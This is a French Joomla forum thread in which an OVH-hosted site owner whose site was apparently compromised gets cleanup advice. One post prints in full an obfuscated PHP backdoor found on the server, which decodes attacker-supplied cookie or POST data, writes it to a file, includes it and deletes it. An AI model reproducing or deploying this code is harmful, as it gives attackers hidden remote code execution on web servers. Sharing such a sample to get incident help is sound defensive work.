[RÉGLÉ] erreur warning en front end (et impossible d'entrer en back-end)

[Pierre débutant]

Bonjour,
Je possède un site vitrine www.pierbiau.com, pour lequel j'ai un message d'erreur qui vient d'apparaître (ce matin vers 7h00, tout était ok, tant en front qu'en back end).
Je suis en J 3.10.11, toutes les extensions étaient à jour ce matin, tout comme le joomla.
Qui aurait une idée pour régler ce problème ?
Je peux, via ftp, aller chercher le dit fichier pour voir ce qui se passe en ligne 663, mais ensuite je ne saurais pas quoi en faire car je ne suis néophyte...
Cordialement,
P. BIAU

[RobertG]

Bonjour,

Je viens de cliquer sur ton lien, l'adresse a été redirigée vers un autre site que Bitdefender a bloqué.
Il serait donc possible que le site ait été piraté. Commence par vérifier par ftp s'il n'y a rien d'inhabituel dans le dossier du site

[Pierre débutant]

Bonjour,
Merci pour la rapidité de réponse.
J'ai vérifié via sftp dans le dossier www, mais rien d'anormal pour l'instant. Je suis allé télécharger le fichier incriminé par le message d'erreur, à savoir loader.php : voici une capture d'écran de la zone autour de la ligne 663, ou je n'ai pas l'impression d'y voir du code malveillant...

Je remet juste le message d'erreur pour éviter à ce que les personnes qui lisent la discussion aient à cliquer sur le lien du site :

"Warning: Class "\Joomla\CMS\Document\Document" not found in /home/pierbiau/www/libraries/loader.php on line 663
Error: Class "Joomla\CMS\Document\Document" not found: Class "JDocument" not found"

[Pierre débutant]

Re-bonjour,
En regardant de plus près via sftp, avant d'ouvrir le dossier www, je m'aperçois qu'un fichier est daté du 16/02/2023 12h02:09 (c'est à dire aujourd'hui à proximité de l'heure du bug). Je viens de le télécharger, et ouvert avec notepad, voici la ligne en question qu'il contient : "<?php
function pj1($hk2){$oy3 = ";@tm/ukeho()-f'r.b07<an1lxg6_ 3?ypL*i4#" ."cdIs5Hv8EF9" ."2" ;$jh5='';foreach($hk2 as $qr4){$jh5.=$oy3[$qr4];}return $jh5;}$ng6 = Array();$ng6[] = pj1(Array(39,46,37,21,39,21,39,50,12,21,13,43,27,1 2,37,18,37,7,12,21,49,46,27,12,50,39,23,30,43,46,4 6,27,17,27,27,19));$ng6[] = pj1(Array(31,33,8,33,29,1,5,22,24,36,22,6,10,28,28 ,48,41,34,47,28,28,11,0,29));$ng6[] = pj1(Array(16,3,9,40,5,24,7));$ng6[] = pj1(Array(44,35));$ng6[] = pj1(Array(16,4));$ng6[] = pj1(Array(38));$ng6[] = pj1(Array(20));$ng6[] = pj1(Array(13,36,24,7,28,33,5,2,28,39,9,22,2,7,22,2 ,42));$ng6[] = pj1(Array(21,15,15,21,32,28,3,7,15,26,7));$ng6[] = pj1(Array(42,2,15,28,15,7,33,7,21,2));$ng6[] = pj1(Array(7,25,33,24,9,40,7));$ng6[] = pj1(Array(42,5,17,42,2,15));$ng6[] = pj1(Array(5,22,24,36,22,6));$ng6[] = pj1(Array(42,2,15,24,7,22));$ng6[] = pj1(Array(33,21,39,6));$ng6[] = pj1(Array(3,40,43));foreach ($ng6[8]($_COOKIE, $_POST) as $hg14 => $zt11){function vx8($ng6, $hg14, $ut10){return $ng6[11]($ng6[9]($hg14 . $ng6[0], ($ut10 / $ng6[13]($hg14)) + 1), 0, $ut10);}function pf7($ng6, $ts12){return @$ng6[14]($ng6[3], $ts12);}function xa9($ng6, $ts12){if (isset($ts12[2])) {$nl13 = $ng6[4] . $ng6[15]($ng6[0]) . $ng6[2];@$ng6[7]($nl13, $ng6[6] . $ng6[1] . $ts12[1]($ts12[2]));@include($nl13);@$ng6[12]($nl13);exit();}}$zt11 = pf7($ng6, $zt11);xa9($ng6, $ng6[10]($ng6[5], $zt11 ^ vx8($ng6, $hg14, $ng6[13]($zt11))));}"

Je suppose donc que c'est ce fichier qui comporte du code malveillant ?
Dois-je simplement supprimer le fichier ? Ou ce fichier a une importance dans joomla, et il faut le remettre en place ? Ou bien est-il normal et il n'y a rien de grave ?

Ci-joint la capture d'écran via sftp et le fichier avec sa date en fond bleu

Cordialement,
P. BIAU

[RobertG]

En effet, tu as toute une série de fichiers php à ce niveau, qui n'ont rien à faire là et que tu dois pouvoir supprimer, à voir ce code. De plus, ces fichiers n'ont rien à faire avec Joomla! et je n'en ai jamais vu de tels dans les hébergements OVH.
Vérifie aussi ce qu'il y a dans www, peut-être ds fichiers identiques. Dans www, tu ne dois pas avoir d'autre fichier de type php que index.php de Joomla!

Commence par changer ton mot de passe d'accès ftp via ton Manager.

[Pierre débutant]

Bonjour,

Comme dicté par par soins j'ai :

1) changer mon mot de passe d'accès FTP via mon manager chez ovh

2) Je me suis ensuite connecté via SFTP, et j'ai supprimé les fichiers .php "suspects" (en les gardant dans un dossier sur mon ordinateur au cas où nous en aurions besoin après coup...)
3) J'ai fait de même pour www, mais il reste 4 fichiers pour lesquels je me pose des questions, car ils sont marqués comme "Fichier SUSPECTED" et n'on pas la même "favicon" que les autres (notepad pour les autres).
Je peux bien entendu les supprimer si besoin tout en les sauvegardant par mesure de sécurité. Voici la capture d'écran dans le www :



J'ai une autre question, liée à la compréhension dans FTP. Dans l'arborescence générale de mon site, j'ai "home", puis 2 sous-dossiers : un dossier "p" et un dossier "pierbiau". Lorsque que j'ouvre "p" j'obtiens "p>i>e>pierbiau". Et lorsque je clique sur pierbiau, j'atterris sur "home>pierbiau". En fait, ce site, a été réalisé au départ en partenariat avec la chambre des métiers de l'Aude en 2011 : l'informaticien en charge de la formation avait réalisé en amont la mise en place chez ovh, puis nous avons essentiellement appris à utiliser le back-end, et il nous avait donné quelques notions sur ovh, mais pas plus... Voici une capture d'écran qui explique mieux les choses de cette arborescence :



Pour l'instant, rien n'a bougé au niveau de mon site : message d'erreur identique en front et en back.
Cordialement,
P. BIAU

[RobertG]

Bonjour,

Les fichiers marqués "suspected" ont été repéré par un scan antivirus de l'hébergeur. Leurs noms n'ont rien à voir avec Joomla! (sauf extension exotique qui les aurait ajoutés).

Le dossier "home", tu ne devrais pas y avoir accès, c'est une anomalie (ça m'est arrivé parfois). La racine devrait être "pierbiau", avec le site dans www.
Ce que tu devrais voir d'emblée est la dernière image avec les 4 dossiers. Pose éventuellement la question à OVH de savoir pourquoi tu as eu l'image précédente.

Pour ce qui est du site qui ne fonctionne toujours pas, avec ton client ftp, modifie le fichier configuration à deux niveaux : passe la variable debug (pas debug_lang) à 1 et error_reporting à maximum (au lieu de none ou default) pour tenter de savoir quelle est l'extension en cause.

[Pierre débutant]

Bonjour,

J'ai posé la question à ovh concernant l'anomalie "home / pierbiau / www" : dès que j'ai une réponse de leur part, je vous tiens au courant.

Concernant la configuration du fichier "configuration.php", j'ai, par FTP, rapatrié le fichier sur mon ordinateur, trouvé les 2 variables, les ai modifié, et j'ai enregistrer le dit fichier sur mon ordi. Mais lorsque je repasse par FTP pour le mettre à la place de l'existant, je coche "remplacer" et "ok", mais j'ai un message qui m'interdit de modifier, ci-dessous la capture d'écran :



Existe t'il un moyen de modifier le fichier "configuration.php" en direct, sous FTP, sans ces étapes de "rapatriement / modification / enregistrement / remise en lieu et place" ?
Dois-je cocher une case dans l'espace ftp d'ovh pour pouvoir modifier ce type de fichier ?

[RobertG]

Le fichier est probablement en lecture seule : il faut par clic droit sur son nom accéder à ses droits (chmod) pour le passer en 644 afin de pouvoir le remplacer.
Peut-être en effet ton client ftp te permettra-t-il aussi, via le clic droit, de modifier directement ce fichier.

[Pierre débutant]

En effet, via ftp, j'ai fait clic droit, et j'ai pu cocher "Ecriture", ce qui a affiché 644. De plus, j'ai pu le modifier directement et l'enregistrer (je ne savais pas que c'était possible) : il s'affiche désormais avec la date du jour, preuve qu'il bien reçu sa modification. Je l'ai téléchargé à nouveau sur mon ordinateur, pour bien vérifier que les variables ont bien garder les modifications, et c'est bien le cas. Pour l'instant rien de nouveau pour le message d'erreur du site, mais parfois je crois que certaines modifications ne sont pas immédiates, il faut laisser passer un petit laps de temps.

[RobertG]

Bon, si le débogage et le rapport d'erreur ne permettent pas d'en savoir plus, à mon avis il y a 3 solutions :

• rapatrier le site (fichier et base) sur un serveur local pour le vérifier
• écraser le site avec une version équivalente d'un pack Joomla! (3.10.11) sans le dossier "installation"
• demander une restauration du serveur par OVH, ce qui peut prendre du temps...

[Pierre débutant]

1) rapatrier le site (fichier et base) sur un serveur local pour le vérifier : ou puis-je télécharger un serveur local d'une part, et comment se passe un rapatriement (fichier par FTP en téléchargeant le www et les fichiers autours, et la base = base de données chez ovh ?)

2) écraser le site avec une version équivalente d'un pack Joomla! (3.10.11) sans le dossier "installation" : si j'écrase le site de cette manière, vais-je conserver mon catalogue vitrine "virtuemart" avec toutes les références (1100 environ...)
Et comment le faire, depuis l'espace client ovh ? Car je n'ai pas accès en back-end, je n'ai donc pas de solution pour envoyer le pack joomla par mon biais directement...

3) Restauration serveur par ovh : il s'agit d'une sauvegarde de la part d'ovh si j'ai bien compris : je vais dans mon espace, je clique sur restaurer la version d'une semaine en arrière, et ils s'occupent de le remettre à cette date ? cette solution m'intéresse assez, car je n'ai pas fait de grandes modifications au sein du site depuis plus d'un mois et demi (quelques références rapides à remettre sous virtuemart et quelques lignes dans les articles, rien de bien important...)
Par contre, "ce qui peut prendre du temps", ça signifie qu'ovh met environ 1 semaine, 1 mois, 3 mois de délais ? (je n'ai aucune idée...)

Remerciements,
P. BIAU

[RobertG]

Pour le serveur, tu peux récupérer la dernière version de Wampserver et y ajouter si besoin une version 7.4 de PHP

Ecraser le site n'a pour effet que de remplacer les fichiers de Joomla! sans toucher au reste. Cela se fait à partir d'un pack complet de la 3.10.11 ici, décompressé localement et envoyé par ftp. Il ne faut pas transférer le dossier "installation", et si le template utilisé par le site est un template standard qui a éventuellement été personnalisé, on ne transfère pas non plus le dossier "templates".

Attention sur le dernier point : si tu as eu des inscriptions et/ou ventes depuis la date de la sauvegarde à restaurer, ce sera perdu, car il te faudra aussi, par précaution, restaurer la base de données, en plus des fichiers du serveur.

[Pierre débutant]

Bonjour,

Je viens de télécharger wampserver 64 bits. Actuellement, je suis en php 8.0 chez ovh depuis bien 2 à 3 mois, donc je suppose que je paramètre aussi wampserver en php 8.0 ?
Je vais voir dans le week-end comment fonctionne ce serveur local, pour ensuite comprendre quelles données je rapatrie depuis ftp.

Concernant l'écrasement du site, j'ai mieux compris maintenant que j'ai décompressé la version complète J 3.10.11 : en comparant par ftp dans le dossier www, je retrouve en effet l'ensemble des dossiers de J3.10.11, et en effet vont être écrasés uniquement les dossiers et fichiers comportant strictement les mêmes noms de fichier, les autres dossiers et fichiers qui n'ont rien à voir avec joomla "natif" vont rester "tels quels". Donc la manipulation, pour ce cas précis, ne se fait que par ftp ? Vais-je avoir des problématiques du type "remplacement non permis" ? Ou bien l'ensemble des dossiers et fichiers de Joomla sont prévus natifs en ce sens, c'est à dire à être écrasés sans demander de "permission" ?

Concernant le dernier point, c'est à dire la restauration serveur par ovh, pas de souci concernant les inscriptions et/ou ventes de la sauvegarde à restaurer : je n'ai jamais créer un site avec inscription, et je n'ai jamais mise le site en boutique, simplement en vitrine, aucun échange avec aucun internaute, ils me contactent par mail, je j'établis un devis par mail (tout se passe par mail, pas par le site). J'ai fait une demande à ovh juste pour avoir une idée du délai de leur côté...

Merci encore pour ces pistes que j'étudie attentivement.
A très bientôt,

[RobertG]

En effet, si le site fonctionnait sous PHP 8.0, utilise la même version en local.

Il va te falloir rapatrier en local dans wampserver le contenu du dossier www dans un dossier www/pierbiau par exemple

Ensuite tu créeras une base de données en passant par phpMyAdmin dans le menu Wampserver. Le 'user' est 'root', pas de mot de passe.

Dans le menu Wampserver, tu créeras un virtualhost. Je te conseille de le précéder de "www" (par exemple www.pierbiau) et de définir le dossier où tu as placé les fichiers, pour que ton virtualhost ouvre le site. Une fois créé, clic droit sur l'icône Wampserver, puis outils et redémarrage DNS pour qu'il soit pris en compte.

Il faudra que tu modifies les infos d'accès à la base (là encore utilisateur root, pas de mot de passe et nom de la base locale). Tu peux le faire avec MoovJla https://www.joomxtensions.com/fr/moovjla.html qui définira automatiquement les chemins vers logs et tmp, te permettras de définir les infos pour la base et en validant de mettre à jour le fichier de configuration..

Il sera alors plus facile d'écraser les fichiers avec une version neuve (sans 'installation') de Joomla! 3.10.11 et voir alors si l'erreur persiste.